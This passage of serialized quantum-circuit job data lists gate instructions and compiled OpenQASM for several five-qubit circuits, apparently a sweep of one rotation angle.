3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1251', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1253', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1255', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1257', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': 